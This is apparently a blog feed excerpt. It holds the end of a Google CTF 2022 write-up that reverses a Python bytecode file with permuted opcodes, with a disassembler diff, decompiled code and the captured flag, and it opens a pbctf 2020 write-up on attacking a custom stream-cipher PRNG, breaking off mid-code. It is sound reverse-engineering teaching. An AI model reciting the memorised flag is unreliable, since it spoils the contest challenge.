&lt;span class=&quot;gi&quot;&gt;+++ b/manual_disassemble.py&lt;/span&gt;
&lt;span class=&quot;gu&quot;&gt;@@ -1,17 +1,29 @@&lt;/span&gt;
 from pwn import *
&lt;span class=&quot;gi&quot;&gt;+import marshal&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+import dis&lt;/span&gt;

 context.endian = &amp;#39;little&amp;#39;

 with open(&amp;#39;./x.pyc&amp;#39;, &amp;#39;rb&amp;#39;) as f:
     pyc = f.read()

&lt;span class=&quot;gi&quot;&gt;+mod = marshal.loads(pyc[16:])&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+code = type(mod)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+funcs = {&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    x.co_name: x&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    for x in mod.co_consts&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    if isinstance(x, code)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+}&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+funcs[mod.co_name] = mod&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+funcs[&amp;#39;w&amp;#39;] = funcs[&amp;#39;game1&amp;#39;].co_consts[1]&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+&lt;/span&gt;
 func_starts = {
&lt;span class=&quot;gd&quot;&gt;-    &amp;#39;Global&amp;#39;: 0x2a,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    &amp;#39;&amp;lt;module&amp;gt;&amp;#39;: 0x2a,&lt;/span&gt;
     &amp;#39;ks&amp;#39;: 0x94,
     &amp;#39;cry&amp;#39;: 0x20e,
     &amp;#39;fail&amp;#39;: 0x370,
     &amp;#39;game1&amp;#39;: 0x489,
&lt;span class=&quot;gd&quot;&gt;-    &amp;#39;w&amp;#39;: 0x7a2, # tentatively defined inside game1&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    &amp;#39;w&amp;#39;: 0x7a2,&lt;/span&gt;
     &amp;#39;game2&amp;#39;: 0xc0c,
     &amp;#39;game3&amp;#39;: 0x105f,
     &amp;#39;main&amp;#39;: 0x1654,
&lt;span class=&quot;gu&quot;&gt;@@ -30,48 +42,97 @@ known_ops = {&lt;/span&gt;
     191: (&amp;#39;PRECALL&amp;#39;, True),
     142: (&amp;#39;CALL&amp;#39;, True),
     1: (&amp;#39;POP_TOP&amp;#39;, True),
&lt;span class=&quot;gi&quot;&gt;+    198: (&amp;#39;BINARY_OP&amp;#39;, True),&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    98: (&amp;#39;LOAD_FAST&amp;#39;, True),&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    0x8d: (&amp;#39;STORE_FAST&amp;#39;, True),&lt;/span&gt;
 }

&lt;span class=&quot;gd&quot;&gt;-global_vals = {&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;-    0: &amp;#39;print&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;-    2: &amp;#39;sys&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+guess_ops = {&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    # TODO TODO&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+}&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+binary_ops = {&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    0: &amp;#39;ADD&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    1: &amp;#39;AND&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    2: &amp;#39;FLOOR_DIVIDE&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    3: &amp;#39;LSHIFT&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    4: &amp;#39;MATRIX_MULTIPLY&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    5: &amp;#39;MULTIPLY&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    6: &amp;#39;REMAINDER&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    7: &amp;#39;OR&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    8: &amp;#39;POWER&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    9: &amp;#39;RSHIFT&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    10: &amp;#39;SUBSTRACT&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    11: &amp;#39;TRUE_DIVIDE&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    12: &amp;#39;XOR&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    13: &amp;#39;INPLACE_ADD&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    14: &amp;#39;INPLACE_AND&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    15: &amp;#39;INPLACE_FLOOR_DIVIDE&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    16: &amp;#39;INPLACE_LSHIFT&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    17: &amp;#39;INPLACE_MATRIX_MULTIPLY&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    18: &amp;#39;INPLACE_MULTIPLY&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    19: &amp;#39;INPLACE_REMAINDER&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    20: &amp;#39;INPLACE_OR&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    21: &amp;#39;INPLACE_POWER&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    22: &amp;#39;INPLACE_RSHIFT&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    23: &amp;#39;INPLACE_SUBTRACT&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    24: &amp;#39;INPLACE_TRUE_DIVIDE&amp;#39;,&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    25: &amp;#39;INPLACE_XOR&amp;#39;&lt;/span&gt;
 }

 for funcname, funcstart in func_starts.items():
&lt;span class=&quot;gd&quot;&gt;-    print(f&amp;#39;{funcname}:&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    f = funcs[funcname]&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    print(f&amp;#39;{funcname}({&amp;quot;,&amp;quot;.join(f.co_varnames[:f.co_argcount])}):&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    print(&amp;#39;\n&amp;#39;.join(&amp;#39;\t&amp;#39; + x for x in dis._format_code_info(f).split(&amp;#39;\n&amp;#39;)))&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+    line_starts = {line:offset for line,offset in dis.findlinestarts(f)}&lt;/span&gt;
     codelen = u32(pyc[funcstart - 4:][:4])
     code = pyc[funcstart:][:codelen]
     nops = 0
     idx = 0
     while idx &amp;lt; len(code):
&lt;span class=&quot;gi&quot;&gt;+        if idx in line_starts:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            print(f&amp;#39; {line_starts[idx]}&amp;#39;)&lt;/span&gt;
         op = u8(code[idx:][:1])
         arg = u8(code[idx+1:][:1])
&lt;span class=&quot;gd&quot;&gt;-        if op == 32 and arg == 0:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+        if op == 32:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            assert arg == 0&lt;/span&gt;
             nops += 1
             idx += 2
             continue
         elif nops &amp;gt; 0:
&lt;span class=&quot;gd&quot;&gt;-            print(f&amp;#39;  ...{nops} nops...&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            # print(f&amp;#39;  ...{nops} nops...&amp;#39;)&lt;/span&gt;
             nops = 0
         if op in known_ops:
             opname, hasargs = known_ops[op]
             if opname == &amp;#39;CALL&amp;#39;:
&lt;span class=&quot;gd&quot;&gt;-                print(f&amp;#39;  {op}\t{opname} with {arg} arguments&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                print(f&amp;#39;    {op:&amp;gt;02x} {arg:&amp;gt;02x}\t{opname} with {arg} arguments&amp;#39;)&lt;/span&gt;
             elif opname == &amp;#39;PRECALL&amp;#39;:
&lt;span class=&quot;gd&quot;&gt;-                print(f&amp;#39;  {op}\t{opname} with {arg} arguments&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                print(f&amp;#39;    {op:&amp;gt;02x} {arg:&amp;gt;02x}\t{opname} with {arg} arguments&amp;#39;)&lt;/span&gt;
             elif opname == &amp;#39;LOAD_GLOBAL&amp;#39;:
&lt;span class=&quot;gd&quot;&gt;-                if arg in global_vals:&lt;/span&gt;
&lt;span class=&quot;gd&quot;&gt;-                    print(f&amp;#39;  {op}\t{opname} {arg} ({global_vals[arg]})&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                assert arg % 2 == 0&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                print(f&amp;#39;    {op:&amp;gt;02x} {arg:&amp;gt;02x}\t{opname} {arg} ({f.co_names[arg//2]!r})&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            elif opname == &amp;#39;LOAD_CONST&amp;#39;:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                print(f&amp;#39;    {op:&amp;gt;02x} {arg:&amp;gt;02x}\t{opname} {arg} ({f.co_consts[arg]!r})&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            elif opname == &amp;#39;LOAD_ATTR&amp;#39;:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                print(f&amp;#39;    {op:&amp;gt;02x} {arg:&amp;gt;02x}\t{opname} {arg} ({f.co_names[arg]!r})&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            elif opname == &amp;#39;STORE_NAME&amp;#39;:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                print(f&amp;#39;    {op:&amp;gt;02x} {arg:&amp;gt;02x}\t{opname} {arg} ({f.co_names[arg]!r})&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            elif opname in [&amp;#39;LOAD_FAST&amp;#39;, &amp;#39;STORE_FAST&amp;#39;]:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                vartyp = &amp;#39;arg&amp;#39; if arg &amp;lt; f.co_argcount else &amp;#39;var&amp;#39;&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                print(f&amp;#39;    {op:&amp;gt;02x} {arg:&amp;gt;02x}\t{opname} {arg} ({vartyp} {f.co_varnames[arg]!r})&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            elif opname == &amp;#39;BINARY_OP&amp;#39;:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                if arg in binary_ops:&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                    print(f&amp;#39;    {op:&amp;gt;02x} {arg:&amp;gt;02x}\t{opname} {arg} ({binary_ops[arg]})&amp;#39;)&lt;/span&gt;
                 else:
&lt;span class=&quot;gd&quot;&gt;-                    print(f&amp;#39;  {op}\t{opname} {arg} (?????)&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                    print(f&amp;#39;    {op:&amp;gt;02x} {arg:&amp;gt;02x}\t{opname} {arg} (?????)&amp;#39;)&lt;/span&gt;
             elif hasargs:
&lt;span class=&quot;gd&quot;&gt;-                print(f&amp;#39;  {op}\t{opname} {arg}&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                print(f&amp;#39;    {op:&amp;gt;02x} {arg:&amp;gt;02x}\t{opname} {arg}&amp;#39;)&lt;/span&gt;
             else:
                 if arg == 0:
&lt;span class=&quot;gd&quot;&gt;-                    print(f&amp;#39;  {op}\t{opname}&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                    print(f&amp;#39;    {op:&amp;gt;02x} {arg:&amp;gt;02x}\t{opname}&amp;#39;)&lt;/span&gt;
                 else:
&lt;span class=&quot;gd&quot;&gt;-                    print(f&amp;#39;  WEIRD: {opname} unexpected arg {arg} ({funcname} : {hex(funcstart+idx)})&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+                    print(f&amp;#39;  WEIRD: {opname} unexpected arg {arg:&amp;gt;02x} ({funcname} : {hex(funcstart+idx)})&amp;#39;)&lt;/span&gt;
         else:
&lt;span class=&quot;gd&quot;&gt;-            print(f&amp;#39;  {op}\t&amp;lt;{op}&amp;gt;&amp;#39;)&lt;/span&gt;
&lt;span class=&quot;gi&quot;&gt;+            print(f&amp;#39;    {op:&amp;gt;02x} {arg:&amp;gt;02x}\t&amp;lt;{op}&amp;gt; &amp;lt;{arg}&amp;gt;&amp;#39;)&lt;/span&gt;
         idx += 2
     print()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;First Perfect Decompilation&lt;/h2&gt;

&lt;p&gt;With this disassembler, we soon had our perfect bytecode matching
function. While tiny, it represented a significant milestone. We were
almost done.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Since we were now able to get perfect decompilation in some places, I
considered the disassembler to be in a good enough state that I would
start decompiling functions by hand, in-parallel to zaratec. We
focused on different functions each, so as to not unnecessarily waste
time.&lt;/p&gt;

&lt;h2&gt;Manual Decompilation&lt;/h2&gt;

&lt;p&gt;Progress now was very fast, with messages on Discord flowing left and right.&lt;/p&gt;

&lt;p&gt;f0xtr0t:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;69: yield. Nice&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;    130: (&amp;#39;BUILD_TUPLE&amp;#39;, True),
    117: (&amp;#39;??CONTAINS_OP&amp;#39;, True),
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;

&lt;p&gt;zaratec:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;116: (&amp;#39;BUILD_LIST&amp;#39;, True),&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;f0xtr0t:&lt;/p&gt;

&lt;blockquote&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;    31: (&amp;#39;GET_ITER&amp;#39;, False),
    182: (&amp;#39;FOR_ITER&amp;#39;, True),
    27: (&amp;#39;NOP&amp;#39;, False),
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;

&lt;p&gt;zaratec:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;123: (&amp;#39;JUMP_BACKWARD&amp;#39;, ...)&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;...and so on...&lt;/p&gt;

&lt;p&gt;I had not &lt;em&gt;completely&lt;/em&gt; stopped improving the disassembler though; each
bit that we correctly decompiled gave ideas on how to improve
quality-of-life features. I will skip giving a blow-by-blow list of
these changes, and instead give the final disassembler at the end.&lt;/p&gt;

&lt;h2&gt;Tangent: Discovering Python Style Guide Non-Compliance&lt;/h2&gt;

&lt;p&gt;As an interesting tangent, we discovered that the author of the
challenge did not strictly adhere to the style guidelines that Python
prescribes, known as &lt;a href=&quot;https://peps.python.org/pep-0008/&quot;&gt;PEP-8&lt;/a&gt;. In
particular, we discovered that the challenge author used 2-space
indents, rather than 4-space indents as required for PEP-8 compliance.&lt;/p&gt;

&lt;p&gt;Usually, it is hard to detect source-level style information from the
byte-compiled &lt;code&gt;.pyc&lt;/code&gt;, since the compilation process (intentionally)
throws away details like indentation. Specifically, the byte code has
no notion of how indented code is (indeed, even conditions and loops
are desugared to &lt;code&gt;goto&lt;/code&gt;-like jumps at the point, so the code is no
longer structured).&lt;/p&gt;

&lt;p&gt;However, strings must be maintained verbatim, and multi-line strings
in Python are not auto-unindented (instead, they have the full
whitespace prefix maintained on each line). &lt;code&gt;game3&lt;/code&gt; in particular
contains what appears to be such a multi-line string (it &lt;em&gt;could&lt;/em&gt; be a
long string with the extremely unusual &lt;code&gt;&amp;quot;\n foo\n bar\n &amp;quot;&lt;/code&gt;, but it is
much more likely to be a multi-line string, especially given what we
could discover about line numbers from the disassembly, and where the
code right after it is). When decompiled, prefix of the &lt;code&gt;game3&lt;/code&gt;
function looks exactly like this:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-py&quot; data-lang=&quot;py&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;game3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Speed typing game.&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;text&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;  Text: Because of its performance advantage, today many language implementations&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;  execute a program in two phases, first compiling the source code into bytecode,&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;  and then passing the bytecode to the virtual machine.&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;  &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Since the string in &lt;code&gt;text&lt;/code&gt; is indented exactly by two spaces, we can
infer that the code itself must&amp;#39;ve been indented by two spaces. After
the contest, if we look at the
&lt;a href=&quot;https://github.com/google/google-ctf/blob/master/2022/rev-mixed/challenge/x_source.py&quot;&gt;source&lt;/a&gt;
published by the challenge author, indeed it is two-space indented :D&lt;/p&gt;

&lt;p&gt;Anyways, while interesting, this was a interesting tangent. Back to
the main story.&lt;/p&gt;

&lt;h2&gt;More Opcode Reversing&lt;/h2&gt;

&lt;p&gt;By this point, we had a lot of opcodes figured out, and were just
getting final few details right. To make this easier, I added a ranked
list of unknown opcode values to the disassembler to make it easier to
figure out more faster. I also added a view to make it easier to see
where jumps were pointing to as direct line numbers, rather than
bytecode offsets.&lt;/p&gt;

&lt;p&gt;Finally, we had decompiled &lt;code&gt;x.pyc&lt;/code&gt;, and could run the game. Of course,
we patched out the typing speed check, because we can&amp;#39;t type that
fast, but otherwise, we could run it as is, and it dumped the flag.&lt;/p&gt;

&lt;h2&gt;Flage! and Closing Thoughts&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;./googlectf-flagcaptured.png&quot; alt=&quot;screenshot of the google ctf interface when the flag is
captured&quot;&gt;&lt;/p&gt;

&lt;p&gt;Finally, now that we had solved the game, we had a flag:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;CTF{4t_l3ast_1t_w4s_n0t_4n_x86_opc0d3_p3rmut4tion}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Indeed, indeed!&lt;/p&gt;

&lt;p&gt;Although now I wonder, how fun would it be to solve an x86 opcode
permutation challenge? It&amp;#39;d definitely be a harder challenge, but
also, with known compiler settings, it&amp;#39;d likely be in the realm of
feasibility.&lt;/p&gt;

&lt;p&gt;All in all, this was a really fun challenge, and I&amp;#39;m glad I solved it
with zaratec, whose expertise neatly complemented my own, and worked
out really well to solve this challenge.&lt;/p&gt;

&lt;p&gt;This challenge was a nice mix of what makes reverse engineering so
interesting and fascinating. It exemplifies the highly scientific yet
creative nature of RE, which involves making hypotheses via creative
leaps and guesses, and then validating those hypotheses (usually with
tooling to help) to make further progress at a better understanding of
the system at hand.&lt;/p&gt;

&lt;p&gt;Looking forward to what next year&amp;#39;s Google CTF brings!&lt;/p&gt;

&lt;p&gt;Oh, and if you&amp;#39;re looking for the &lt;a href=&quot;./manual_disassemble.py&quot;&gt;final
disassembler&lt;/a&gt;, or our final &lt;a href=&quot;./test.py&quot;&gt;decompiled
code&lt;/a&gt; just click on the respective links.&lt;/p&gt;

&lt;p&gt;Finally, I leave you with some output produced by the
disassembler. Cheers!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;./disassembler-output-sample.png&quot; alt=&quot;disassembly output, shows a few instructions&quot;&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>crypto🔨 (pbctf 2020)</title>
   <link href="https://www.jaybosamiya.com/blog/2020/12/10/cryptohammer/"/>
   <updated>2020-12-10T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2020/12/10/cryptohammer</id>
   <content type="html">&lt;p&gt;We need to recover the flag from a file that has been encrypted using
a random 40000 byte long key using a custom encryption routine, using
only the 1 known ciphertext. Overall I found this challenge to be
quite interesting and well designed. Only 3 teams solved it over the
course of the 48 hour &lt;a href=&quot;https://ctf.perfect.blue/&quot;&gt;contest&lt;/a&gt; (organized
by &lt;a href=&quot;https://perfect.blue/&quot;&gt;Perfect Blue&lt;/a&gt;), and it had a final score of
443 points. This post describes how I solved it during the CTF.&lt;/p&gt;

&lt;p&gt;If you simply want to read the solution script, you can find it
&lt;a href=&quot;./solve.py&quot;&gt;here&lt;/a&gt;. However, if you want to understand how we can get
there, let&amp;#39;s begin!&lt;/p&gt;

&lt;h2&gt;Problem Description&lt;/h2&gt;

&lt;p&gt;We are given two files (&lt;a href=&quot;./encrypt.cc&quot;&gt;encrypt.cc&lt;/a&gt; and
&lt;a href=&quot;./flag.iso.enc&quot;&gt;flag.iso.enc&lt;/a&gt;) and the challenge description:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Can you crack a 40000 bit key? 🤨&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The encrypted flag is a 1,052,672 byte (~1MB) file, and its file
extension likely indicates that it is an encrypted version of an &lt;a href=&quot;https://en.wikipedia.org/wiki/Optical_disc_image&quot;&gt;ISO
Optical Disc Image&lt;/a&gt;
file. Clearly, it has been encrypted via &lt;a href=&quot;./encrypt.cc&quot;&gt;encrypt.cc&lt;/a&gt;,
so let us have a look at its code.&lt;/p&gt;

&lt;h2&gt;Understanding the Encryption and Planning an Attack&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;main&lt;/code&gt; function of &lt;a href=&quot;./encrypt.cc&quot;&gt;encrypt.cc&lt;/a&gt; simply creates a
&lt;code&gt;CSPRNG&lt;/code&gt; object named &lt;code&gt;p&lt;/code&gt; with a key size of 40000. It then repeatedly
bitwise XORs the input with a newly produced value from &lt;code&gt;p&lt;/code&gt;, and
outputs this result. This means that the code is operating as a
&lt;a href=&quot;https://en.wikipedia.org/wiki/Stream_cipher&quot;&gt;stream cipher&lt;/a&gt;. There
are a collection of
&lt;a href=&quot;https://en.wikipedia.org/wiki/Stream_cipher_attacks&quot;&gt;attacks&lt;/a&gt; that
apply generally over most stream ciphers, but certain special
conditions might need to apply for their use. For example, a XOR-based
stream cipher (such as what we have here) is susceptible to
bit-flipping attacks; however we are working as a purely passive
adversary with only 1 known ciphertext, so the number of possible
attacks are dramatically fewer. In particular, the only real attack we
have is that the PRNG (pseudo random number generator) is somehow
&amp;quot;broken&amp;quot; and the key stream produced from it can be recovered.&lt;/p&gt;

&lt;p&gt;Thus we must dive into the implementation of the &lt;code&gt;CSPRNG&lt;/code&gt; class, which
is templated on &lt;code&gt;N&lt;/code&gt;, the size of its key and its internal state in
bytes. The state maintained by the &lt;code&gt;CSPRNG&lt;/code&gt; is:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m_state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m_ofs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As part of its initialization, it sets &lt;code&gt;m_ofs&lt;/code&gt; to 0, and assigns
&lt;code&gt;m_key&lt;/code&gt; and &lt;code&gt;m_state&lt;/code&gt; via &lt;code&gt;getrandom&lt;/code&gt; from &lt;code&gt;sys/random.h&lt;/code&gt;, which means
the initial state is (for our purposes) fully random. This means that
the attack must lie in how the PRNG produces its random numbers. This
is in the method called &lt;code&gt;next()&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
